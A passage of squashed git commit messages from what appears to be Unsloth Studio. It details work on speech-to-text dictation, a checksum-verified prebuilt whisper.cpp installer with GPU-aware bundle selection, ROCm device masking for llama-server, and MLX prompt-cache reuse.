memory at once. Allow Auto language with English-only .en checkpoints,
matching the backend which sends no forced language. Keep the discard
button usable while a transcription is pending so a slow or hung request
cannot trap the composer in dictation mode. Stop linking Compare and
settings test dictations to the unrelated active single chat thread.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Move the CPU retry out of the exception handler
On Python 3.10 the interpreter exception state keeps its own reference
to the traceback, so dropping it from the caught exception was not
enough to release the failed accelerator load during the retry. Leaving
the handler before clearing the cache works on every supported version.
* Address review feedback on session handoff, chat pinning, and server lifetime
Starting a dictation from a second entry point now cancels the session
it replaces, so the old recording cannot keep the microphone open or
save a transcript with no discard button pointing at it. The linked
chat is pinned when recording starts, so switching threads while a
transcription finalizes cannot relink the transcript to the newly
opened chat. whisper-server is now bound to Studio's lifetime like the
other long-lived children: PDEATHSIG on Linux, the parent job object on
Windows, and pid adoption so the shutdown sweep reaps it; before this
it survived a Ctrl+C exit as an orphan still holding the model.
* Remove the dictation mic test from Voice settings
The composer dictate button covers the same check, so the test row, its
transcript panel, the unsupported fallback row, and their strings and
search entry are gone.
* Studio STT: gate GGUF whisper-server on training and fix dictation retry and dictionary edits
GGUF (whisper.cpp) sidecar:
- Launch whisper-server with --no-gpu while training is active, mirroring the Transformers sidecar's CPU device choice, so a mid-training dictation cannot reclaim the VRAM training just freed.
- Report is_loading() during whisper-server startup so training VRAM admission accounts for the accelerator memory it is about to bind.
- Require PyAV in is_available() so /audio/stt/status reports the engine unavailable when uploads cannot be decoded, instead of loading fine and then 501ing at transcription.
- Reject a missing model before decoding audio, matching the Transformers download preflight.
Voice settings:
- The download Retry button now restarts the download; the sidecar error is sticky until a new start(), so re-polling alone never cleared it.
Dictation dictionary:
- Tabbing from an emptied entry to its remove button no longer commit-splices the row first, which shifted indices and deleted the wrong entry.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio STT: fix curated GGUF whisper filenames to match hosted repos
The unslothai/whisper-*-GGUF repos host the checkpoint as whisper-<id>.bin,
not ggml-<id>.bin, so every curated dictation download and cached-path
lookup 404'd and the whisper.cpp engine could never load a model. Point
GGML_STT_MODELS at the real filenames and guard the naming with a test.
* Studio STT: validate a custom dictation repo before downloading it
The Transformers STT engine accepts an arbitrary owner/model repo, but the
download route handed it straight to snapshot_download, pulling a possibly large
non-Whisper repository into the shared HF cache. Confirm the repo is a Whisper
checkpoint first with the existing metadata-only validate_remote_model (no
weights); curated ids short-circuit and the GGUF engine (curated-only) is
unaffected. A non-Whisper repo now 422s before any download.
* Studio STT: preempt a still-loading GGUF server for training admission
A whisper-server still in its startup window binds accelerator memory but has no
loaded_model yet, so training admission could miss it and launch into an OOM.
Make the GGUF startup cancellable (cancel_pending_load signals an abort event and
terminates the starting process without the load lock; _wait_for_server observes
it and raises SttLoadCancelledError; wait_for_load_to_settle blocks on the lock
until the killed server is reaped), and always fold the GGUF sidecar into the
resident-STT summary so a resident Transformers model cannot mask a loading GGUF
server. free_stt_model_for_training now cancels an in-flight load and waits for it
to settle before training claims the memory.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Studio STT: fall back to Transformers when whisper-server is absent
A curated dictation model (including the default small) hard-pinned the GGUF
engine, but standard installs do not ship whisper-server, so every recording
501'd instead of using the Transformers engine that serves the same checkpoint
-- the GGUF sidecar's own documented contract. Add _resolve_serving_stt_engine:
a GGUF request for a curated id (the only ids GGUF accepts, all Transformers-
servable) downgrades to Transformers when whisper-server is unavailable, applied
consistently to download, load and transcribe (not unload, which targets a
specific engine). The Voice tab likewise falls back to the Transformers status so
the model is not shown unavailable and download is not blocked.
* Studio STT: hide custom Whisper caches from the legacy model pickers
The legacy /cached-models (and /cached-gguf) routes called is_hidden_model with
only the owner/model id, which cannot reach the config-based Whisper check, so a
downloaded custom (non-curated) Whisper checkpoint was still offered as a chat
model. Pass the cached snapshot path so _path_is_whisper_model inspects the repo
config and hides it, matching the discovery route.
* Studio STT: hide GGUF dictation repos, lock-free status, unload fallback, split training eviction
- Hide the curated GGUF dictation repos (unslothai/whisper-*-GGUF) from the chat
model inventory and pickers, backend and frontend. Only their Transformers
safetensors companions were hidden; the GGUF repos use a different org and a
-GGUF suffix and carry a raw .bin with no whisper config.json, so they leaked
into chat pickers.
- Make the GGUF sidecar loaded_model/device accessors lock-free, mirroring the
Transformers sidecar. transcribe() holds self._lock across the whole inference
call, so /audio/stt status polls and training admission previously blocked
behind an in-flight transcription.
- stt_unload resolves through the serving resolver: a "gguf" pick on a host
without whisper-server is served by the Transformers fallback, so unload must
target that engine or the resident model is never freed. Unload also attempts
every engine even if one raises, so a failure freeing one backend no longer
skips the other.
- free_stt_model_for_training frees the Transformers and GGUF sidecars under
independent exception boundaries so a failure unloading one no longer skips
the other before training claims the memory.
Adds tests/test_stt_review_fixes.py covering all four.
* Studio STT: resolve Auto dictation language for the model engine + snapshot process liveness
- The model dictation adapter sent the raw setting (the literal "auto") to the
backend, while the browser engine resolves Auto via resolveDictationLanguage.
A batch of non-English voice notes came back mostly English on Auto. Add
resolveModelDictationLanguage: only the literal "auto" is resolved to a
concrete locale, gated so it becomes a language the model AND Whisper can
honor (mirroring the backend's known-whisper-languages set); an explicit
language, or a locale Whisper cannot honor, stays unchanged/auto-detect. Wire
it into both adapter call sites.
- GgmlSttSidecar._process_alive() read self._process twice; a concurrent
unload() nulls it under the lock while loaded_model/device read lock-free, so
a null between the two reads called None.poll(). Snapshot once. Adds a
deterministic regression test.
* studio: tighten comments and docstrings in the dictation modules
* studio: harden dictation model downloads, GGML readiness, and recording paths
Address review findings on the STT dictation feature:
- build_whisper_cpp.sh refuses to delete a whisper.cpp tree under a custom
Studio home unless it carries the Studio ownership marker, matching the
setup.sh policy, and marks trees it creates
- _snapshot_is_complete validates every shard of a sharded PyTorch
(pytorch_model.bin.index.json) checkpoint like the safetensors path, and
requires tokenizer assets (tokenizer.json or vocab.json + merges.txt)
- custom-repo downloads pin the revision resolved at validation time and
restrict snapshot_download to the model/tokenizer/config/preprocessor file
classes Studio loads
- the GGML sidecar holds its port reservation until just before spawning
whisper-server and only accepts readiness from a responder that both looks
like whisper.cpp's server and belongs to the still-running managed child,
probing twice, so mic audio cannot be posted to a foreign local process
- the recording adapter transcribes every non-empty segment; the RMS meter
only shapes segment boundaries and can no longer discard quiet speech
- Compare-pane dictation can cancel a pending transcription on second click,
with the button relabeled while finalizing
- localStorage quota recovery halves the dictation history until the save
fits, so small histories shrink too
- the System default TTS voice resolves to the platform default voice
- new dictation UI imports go through the chat and hub feature barrels
Regression tests cover the build-script gate, sharded PyTorch and tokenizer
completeness, revision pinning and allow patterns, and the whisper-server
readiness probe.
* Fix STT download and voice picker follow-ups
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Add dictation button regression coverage
* Studio: prebuilt whisper.cpp via the shared llama.cpp install core, slim bundles paired to the llama prebuilt (#7294)
* Studio STT: add prebuilt whisper.cpp (whisper-server) installer
New install_whisper_prebuilt.py downloads a per-platform whisper-server
bundle published by the unslothai/whisper.cpp prebuilt CI into the managed
whisper.cpp dir (build/bin/whisper-server) so local dictation needs no
compiler. Mirrors install_node_prebuilt.py / install_llama_prebuilt.py:
host + backend detection, sha256 pins (whisper_prebuilt_pins.json) as the
trust anchor, staging + install lock + atomic swap, traversal-safe extract,
co-located shared libs (RUNPATH=$ORIGIN), an UNSLOTH_WHISPER_PREBUILT_INFO.json
marker with idempotent "already matches", and exit codes 0/1/2/3. Not wired
into setup yet; the pins ship empty so every asset fails closed until the
first fork release is published and its digests are reviewed in.
* Studio STT: install prebuilt whisper.cpp during setup and update
Add a fail-open whisper.cpp block to setup.sh after the llama.cpp section so
`unsloth studio update` (and a fresh install) fetch the prebuilt whisper-server
into the managed whisper.cpp dir the sidecar discovers. It skips a user-set
WHISPER_SERVER_PATH/UNSLOTH_WHISPER_CPP_PATH, honors UNSLOTH_SKIP_WHISPER_INSTALL,
forwards the resolved ROCm gfx, and never aborts setup: a busy install keeps the
existing runtime, and an unavailable prebuilt stays quiet (source build is opt-in
via UNSLOTH_WHISPER_FORCE_COMPILE) since Transformers STT and browser dictation
remain. Register UNSLOTH_WHISPER_PREBUILT_INFO.json as Studio-owned evidence.
* Studio STT: harden whisper-server child env + WSL ROCm detection
- Sidecar spawns whisper-server with a scrubbed child env that prepends the
binary dir (co-located GPU libs) to the loader path, and on WSL2 ROCm loads
the system HIP first (HSA_ENABLE_DXG_DETECTION=1) so a bundle's bare-metal HIP
does not segfault on /dev/dxg. Secret-bearing vars are dropped from the child.
- find_whisper_server_binary now requires an executable, not just a file.
- Installer rocm probe passes HSA_ENABLE_DXG_DETECTION and falls back to
/opt/rocm/bin/rocminfo so a WSL ROCm host is not misdetected as CPU-only;
gfx parsing skips the gfx000 CPU agent and generic ISA lines.
- Tests for the child env (secret scrub, lib dir, WSL HIP precedence), the
executable check, and the WSL rocm detection.
* Studio STT: in-app whisper.cpp prebuilt update stack + ship pins in the wheel
Mirror the llama.cpp update stack for the whisper.cpp prebuilt so Studio can
detect and install a newer whisper-server release from inside the app:
- backend/utils/whisper_cpp_freshness.py: read UNSLOTH_WHISPER_PREBUILT_INFO.json
and compare the installed release against the newest unslothai/whisper.cpp
release. Whisper tags are v<upstream>-unsloth.<N>, so is_behind compares a
(major, minor, patch, serial) key with a strict downgrade guard; 24h cache;
fail-open.
- backend/utils/whisper_cpp_update.py: run install_whisper_prebuilt.py to fetch
and atomically swap the newest bundle, unloading the warm GGUF sidecar first.
- backend/routes/whisper.py mounted at /api/whisper (update-status + update).
- pyproject: add whisper_prebuilt_pins.json to studio package-data so the
installer's trust anchor ships in the wheel (it is a data file, not a .py
module, so package discovery alone does not include it; node_prebuilt_pins.json
is listed for the same reason). Without this a pip-installed wheel had no pins
and the prebuilt install aborted to Transformers STT.
Adds test_whisper_cpp_freshness.py (version parser, is_behind matrix + downgrade
guard, marker layouts, stale decision, fail-open).
* Studio STT: verify whisper prebuilts via the release checksum index, like llama.cpp
Re-align the whisper.cpp prebuilt installer to install_llama_prebuilt.py's trust
model: instead of a committed whisper_prebuilt_pins.json, verify every download
against the release's own whisper-prebuilt-sha256.json checksum index, fetched
from the same GitHub release.
- parse_release_checksums / fetch_release_checksums / expected_sha256_for replace
the pins layer. The index is validated for schema/component and that its
release_tag matches the resolved release; an asset absent from it, a release
that does not publish it, or a manifest sha256 that disagrees with it all fail
closed to a source build.
- resolve_release_tag now resolves the newest published release at runtime (or an
explicit --published-release-tag), matching llama and the freshness check;
removed the pinned-default and the UNSLOTH_WHISPER_ALLOW_UNVERIFIED opt-in.
- Delete studio/whisper_prebuilt_pins.json and drop its pyproject package-data
entry (nothing to ship now, same as llama which has no committed pins).
- Adds test_install_whisper_prebuilt_checksums.py (index parser, fail-closed on
uncovered asset, tampered-manifest guard, newest-release resolution).
This is a same-origin checksum (integrity, not authenticity), identical to the
llama.cpp installer; pair releases with GitHub artifact attestations for provenance.
* Resolve whisper prebuilt release via the download host (no GitHub API)
Mirror install_llama_prebuilt.py's fast path: resolve the release tag from
the releases/latest redirect and fetch the manifest + checksum index from
constructed releases/download URLs, so the common install path makes zero
api.github.com calls (unauthenticated api.github.com is capped at 60 req/hour
per IP; the download host is not). Fall back to the GitHub API only on a 404,
malformed asset, or tag mismatch.
* Studio STT: coverage-aware whisper prebuilt selection via a shared core
whisper's select_artifact returned the first os/arch/backend manifest match and
ignored the SM-coverage fields the release manifest already carries, so a
Blackwell B200 (sm_100) was served cuda12-legacy (sms 50-61) -- runnable only via
forward PTX JIT. install_llama_prebuilt.py on the same host correctly picks
cuda13-newer.
Extract the coverage-aware selection into a shared, component-agnostic core under
studio/backend/utils/prebuilt/ (selection + GPU host-capability detection), lifted
from llama's linux_cuda_choice_from_release / _artifact_covers_sms / _sm_range and
generalised over a normalised artifact. whisper's HostInfo now records the GPU
compute caps + driver CUDA version (honoring CUDA_VISIBLE_DEVICES), and
select_artifact routes CUDA/ROCm through the shared selector: every visible SM
must be covered, the tightest-covering profile wins (Blackwell-aware runtime-line
ordering), ROCm matches the gfx target exactly, and an uncovered GPU falls back to
the CPU bundle. CPU/Metal/Vulkan keep first-match. The resolver JSON, exit codes,
and "already matches" contract are unchanged.
On the B200 the installer now resolves cuda13-newer, matching llama.
* Studio STT: gate whisper CUDA selection on the on-disk runtime, like llama
The prebuilt CUDA bundles are dynamically linked and intentionally do NOT ship
libcudart/libcublas -- they load the same runtime the host already has. So the
driver's advertised CUDA version is only an upper bound: a cuda13 bundle still
needs cuda13 runtime libraries present on disk. Port llama's on-disk runtime
scan (detected_linux_runtime_lines / detected_windows_runtime_lines) into the
shared core and intersect it with the driver-compatible lines in
select_cuda_attempts. A host with a cuda13 driver but only cuda12 runtime (e.g.
torch-cuda12) now correctly gets a cuda12 bundle instead of an unloadable cuda13
one; a host with no CUDA runtime at all falls back to CPU.
Fixes a glob bug in the port (any(Path(d).glob(p) for d in dirs) tests generator
truthiness, not a match) that made every major report present; add a real
filesystem test that exercises the scan.
* studio: harden shared prebuilt core to full llama parity
Apply the review findings on the shared coverage-aware prebuilt-consumer
core so whisper.cpp selection is exactly equivalent to the llama.cpp path.
hosts.py: port llama's CUDA_VISIBLE_DEVICES handling. A GPU hidden by an
index/UUID selector now reports has_usable_nvidia False instead of staying
usable, via supports_explicit_visible_device_matching plus the physical /
explicit-match branches, and _select_visible_rows now matches rows the way
llama does (index or UUID, gpu- prefix optional) and skips unmatched tokens
rather than keeping all rows. Adds the Linux /proc/driver/nvidia/gpus
fallback and has_physical_nvidia. Adds parse_macos_version.
runtime_libs.py: the Linux on-disk scan now requires the exact libcudart /
libcublas SONAME (libcudart.so.13), not a libcudart.so.13* glob, so a bare
versioned file without the SONAME symlink no longer counts as loadable.
Hardens the ldconfig parse against an empty left-hand side.
selection.py: fix the Blackwell/torch reordering so it keys on the covering
runtime lines (falls through to the torch preference when the covering lines
were filtered out), matching linux_cuda_choice_from_release. Corrects the
compatible_runtime_lines_for_driver docstring: the bundles do not ship the
CUDA runtime, so the driver version is only an upper bound and the caller
must intersect with the on-disk scan.
install_whisper_prebuilt.py: enforce a macOS artifact's min_os (new
HostInfo.macos_version) so a bundle that cannot load on the host OS version
is dropped. Keep resolver stdout to only the JSON line by leaving logs on
stderr in --resolve-prebuilt mode, and map an unexpected probe failure to
prebuilt_available False instead of a traceback.
Tests: new host-probe suite for the visible-device logic, exact-SONAME
runtime-scan cases, macOS min_os filtering, resolver stdout-only-JSON,
exit-code mapping, and the repo key.
* studio: fix whisper prebuilt selection + launch parity gaps from review
A parallel review surfaced integration defects where the whisper path could
select or launch a bundle that cannot run on a concrete host. Each is fixed to
match install_llama_prebuilt.py.
macOS min_os: the manifest labels macOS requirements as macos-<version>
(e.g. macos-14.0), which the version parser could not read, so the guard was a
no-op and a macOS-13 host would install the macos-14 Metal bundle. Strip the
platform prefix before parsing.
ROCm gfx detection: _detect_rocm_gfx returned the first gfx token and ignored
HIP_VISIBLE_DEVICES / ROCR_VISIBLE_DEVICES / CUDA_VISIBLE_DEVICES. Since exact
ROCm matching treats that token as the active GPU, a mixed APU + dGPU host
(gfx1151 + gfx1100) with HIP_VISIBLE_DEVICES=1 installed the wrong archive. Route
through a shared pick_rocm_gfx_target (lifted from llama) that parses per-GPU
sections and honors the visibility vars (empty / -1 -> no AMD GPU).
--rocm-gfx override: recording the arch without setting has_rocm left the host on
its CUDA/CPU path so the ROCm bundle was never picked. --rocm-gfx now implies
has_rocm and clears NVIDIA state, like llama's _apply_host_overrides.
CUDA launch env: a CUDA bundle ships the ggml CUDA backend but not
libcudart/libcublas, and the sidecar launch env exposed only the bundle dir, so
on a host whose CUDA runtime lives only in the PyTorch wheels the selection would
gate cuda usable but the server could not load it. Add the CUDA-from-PyTorch
runtime dirs to the child loader path for CUDA bundles (bundle dir still first),
mirroring binary_env.
Also normalize a manifest artifact's supported_sms defensively (parity with
llama's parser) and document that blackwell_min_toolkit_for_caps is retained for
the Phase B llama Windows path.
Not changed (verified parity, not defects): Linux/Windows min_os is enforced
nowhere in llama (macOS only); the resolver is optimistic about the checksum
index and the install path verifies.
* studio: tighten prebuilt-core code comments
* studio: lift shared prebuilt installer core out of the whisper installer
* studio: reuse the llama.cpp prebuilt installer machinery for whisper
* studio: unify llama and whisper prebuilt installers on a shared descriptor core
* studio: consolidate prebuilt installer tests into the shared core suite
Grow tests/studio/install/test_prebuilt_core.py from 62 to 164 tests so every
component-agnostic behavior runs against both descriptors: the full seven
profile CUDA release matrix (multi-GPU, on-disk runtime gating, shuffle
stability, missing SM metadata, dotted SM normalization, no-driver fallback
policy), the ROCm gfx family matrix, macOS min_os gating and its helper,
backend resolution incl. cpu-fallback precedence and Intel-mac auto detect,
checksum-index non-object and plain-lookup cases, the tar symlink/hardlink
extraction guards moved from the llama suite, and the compute-cap, visible
device, runtime-line and Blackwell helper value tables moved verbatim from
the llama characterization suites.
Delete only tests whose exact behavior the master now asserts for the same
component: 40 pure-alias helper cases in test_selection_logic.py (replaced by
value-identical master tables plus an alias-identity pin), 6 extraction moves
and the master-absorbed zip-symlink case in the llama logic suite, 3 routing
twins in test_rocm_support.py already pinned byte-for-byte in
test_selection_logic.py, the 2 Blackwell helper tables in the backend resolve
suite, 28 whisper logic tests and 10 whisper checksum tests re-asserted by
the master whisper parameterization. Wrapper wiring pins, the llama release
plan dialect, fingerprints and every llama-only behavior stay untouched.
* studio: dedupe sidecar and update helpers into the backend prebuilt package
* studio: chain whisper.cpp prebuilt updates onto the llama.cpp update flow
* studio: consume paired slim whisper prebuilts via the llama ggml runtime
* studio: serve every whisper backend from slim prebuilts
* studio: drop the whisper fat per-accelerator selection chain
unslothai/whisper.cpp releases are slim-only from v1.9.1-unsloth.2: one
ggml-less bundle per os/arch, paired to the llama.cpp prebuilt that provides
every ggml backend. Delete the whisper-side fat CUDA/ROCm/metal/vulkan
selection glue; keep slim selection + pairing, link_ggml_runtime, and one
legacy shape, the published fat CPU bundle of an explicitly pinned pre-slim
release. Exit 2 now reads as prebuilt unavailable (whisper never source
builds); setup already treats it that way.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Wire libomp runtime DLL alongside ggml in slim whisper installs
llama's clang-built windows-arm64 ggml-base.dll imports
libomp140.aarch64.dll, shipped in the llama bundle but not a system DLL.
Without it next to whisper-server.exe the loader fails with
STATUS_DLL_NOT_FOUND before main. MSVC x64 links vcomp140.dll from
System32 and Linux ggml uses system libgomp.so.1, so only windows-arm64
was affected. The empty-runtime guard still requires a real ggml
library; libomp alone is not a pairing.
* studio: drop whisper-side fat-selection support structure
Slim whisper bundles are selected per os/arch only; all accelerator
capability comes from the installed llama.cpp prebuilt, whose installer
already did the coverage-aware selection. Remove the machinery that only
existed to pick among fat per-accelerator whisper bundles:
- prebuilt_core: delete the generic CUDA/ROCm coverage selection
(select_cuda_artifact, select_rocm_artifact, ArtifactView adapters,
detected_cuda_runtime_lines, the exact-SONAME linux probe) that no
shipped component routes through; llama keeps its own selection chain
and whisper shadows select_artifact with the slim-only version.
select_artifact is now a plain os/arch/backend first-match.
- install_whisper_prebuilt: drop the HostInfo CUDA fields
(compute_caps, driver_cuda_version, torch_runtime_line) and the torch
runtime probe that populated them; nothing reachable reads them, and
the resolver payload sources runtime_line from the artifact.
- whisper_cpp_update: delete the standalone start_update job worker;
whisper applies only run as the chained phase of the combined
llama+whisper update. The status payload keeps its job field (idle).
- routes/whisper: drop the progress logger that could never fire.
- tests: remove tests of the deleted paths and tests duplicating the
descriptor-parameterized core suite or the llama freshness suite.
Contracts unchanged: resolver JSON keys, exit codes, marker fields,
pairing logs, and the pinned pre-slim fat CPU escape hatch.
* Address review feedback on the whisper prebuilt update and install paths
- Pin the chained whisper phase to the release the freshness check
offered, so the download-host latest pointer cannot reinstall an
older build in a loop
- Wire the whisper prebuilt install into setup.ps1 (Windows setup
previously skipped it entirely)
- Treat a non-executable server or missing wired ggml libraries as a
broken install instead of reporting already matches
- Keep whisper sidecar reloads out of the job-level reload flag and
resync chat state after a partial chained update that unloaded llama
- Repoint home and profile vars for the whisper-server subprocess at a
managed scratch dir and drop credential-store pointers
- Clear the prebuilt marker before the opt-in source build overwrite
- Write the prebuilt marker with explicit utf-8 encoding
* Tighten comments in the whisper prebuilt consumer
* Harden the Windows whisper setup phase and the chained update edges
- setup.ps1: honor WHISPER_SERVER_PATH / UNSLOTH_WHISPER_CPP_PATH /
UNSLOTH_SKIP_WHISPER_INSTALL, run the custom-home ownership guard
before the atomic install, and forward the release-tag pin and ROCm
hints like setup.sh
- sidecar: a cpu-selected install launches whisper-server with --no-gpu
(slim wiring links every llama backend, so the flag is what keeps a
deliberate CPU choice off the GPU)
- chained update: leave whisper unpinned on macOS (the llama phase can
walk back there, and a newest-tag pin could be an impossible pairing
on every retry) and treat installer exit 2 as kept-existing-runtime
instead of failing the combined job
- job.to_tag now comes only from the llama phase, so a whisper-only
round cannot report a llama update that never ran
* Fix slim whisper runtime follow-ups
* Address remaining whisper update reviews
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Address remaining prebuilt update reviews
* Fix remaining chained update reviews
* Fix remaining whisper runtime review edges
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
---------
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
---------
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com>
Adds a configurable Hugging Face model download cache location to Unsloth Studio, selectable from Settings, with per-cache download manifests, scoped deletion, and read-only inventory of previously selected caches.
* Studio: mask AMD GPU pins via ROCR so an unsupported iGPU can't crash llama-server
On a mixed AMD host (e.g. a discrete gfx1102 GPU next to a gfx1103 iGPU)
the bundled rocm-gfx110X llama.cpp build segfaults during HSA device
enumeration on the unsupported iGPU -- before llama-server prints a line,
so every model load fails with a bare signal and empty logs.
The GPU-subset pin masked visibility with HIP_VISIBLE_DEVICES, but HIP
filtering runs only after the HSA runtime has already enumerated (and
crashed on) every agent. Mask the subset via ROCR_VISIBLE_DEVICES (the
ROCr/HSA layer) instead, so a deselected/unsupported GPU is never
enumerated. Exactly one layer is masked (HIP cleared) to avoid the
double-mask reindex that would otherwise drop the child to CPU. The
whole-set tensor-split path and the CPU-only sentinel keep their existing
HIP behavior.
Also stop misreporting the resulting startup segfault as a vision
projector incompatibility: when the text-only mmproj retry also hard-
crashes with a signal, surface a GPU/driver init crash (with the ROCR
hint) instead of blaming the projector.
Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten _emit_child_gpu_visibility comments for #7272
Comment and docstring only: condense the ROCR-vs-HIP masking rationale from ~22 to ~14 lines and the call-site note from 5 to 3, keeping every technical point (HSA enumeration segfault, physical ids, the -1 sentinel). Logic is unchanged, verified by an AST compare with docstrings stripped and by exercising _emit_child_gpu_visibility against a torch/HIP stub.
* Detect AMD SDK ROCm wheels (hip=None) in _emit_child_gpu_visibility (Codex P2)
The ROCm branch gated only on torch.version.hip, but AMD SDK wheels leave that unset while encoding 'rocm' in __version__ (detect_hardware handles this the same way). On such a wheel the masking was skipped entirely, leaving only CUDA_VISIBLE_DEVICES, so on a mixed AMD box the unsupported deselected iGPU still enumerated and could crash llama-server. Now the branch also treats 'rocm' in torch.__version__ as ROCm, mirroring detect_hardware. Adds tests for the hip=None SDK wheel (ROCR + default paths) and a CUDA guard so the version-string check can't false-positive.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Remap CUDA_VISIBLE_DEVICES to post-ROCR ordinals on prefer_rocr for PR #7272 (Codex P1)
On the prefer_rocr path _emit_child_gpu_visibility set ROCR_VISIBLE_DEVICES to the
physical id and cleared HIP_VISIBLE_DEVICES, but left CUDA_VISIBLE_DEVICES at the
physical id. ROCR re-indexes the visible agents from 0 and, with HIP cleared, HIP
honours CUDA_VISIBLE_DEVICES -- so a non-zero pick (e.g. GPU 1) pointed out of
range, HIP saw 0 devices, and the child fell back to CPU, defeating GPU-picker
selections other than physical GPU 0. Remap CUDA to the post-ROCR ordinals
(0..N-1); GPU 0 is unchanged, the default (HIP) path and the CPU sentinel are
untouched, and non-AMD wheels never enter this branch.
* Detect AMD SDK wheels in _resolve_visible_physical_ids for PR #7272 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the HIP mask on Windows ROCm in prefer_rocr for PR #7272 (Codex P2)
* Ignore ROCR_VISIBLE_DEVICES in _resolve_visible_physical_ids on Windows for PR #7272 (Codex P2)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Preserve inherited ROCR masks in the tensor-split pin for PR #7272 (Codex P2)
---------
Co-authored-by: Claude Opus 4.8 <noreply@anthropic.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Leo Borcherding <borchborchmail@gmail.com>
* Studio: reuse MLX prompt cache across turns instead of re-prefilling
* clean up
* key prompt cache on what the KV covers
* skip windowed KV caches past their window
* verify prefix coverage before caching KV
Daniel Han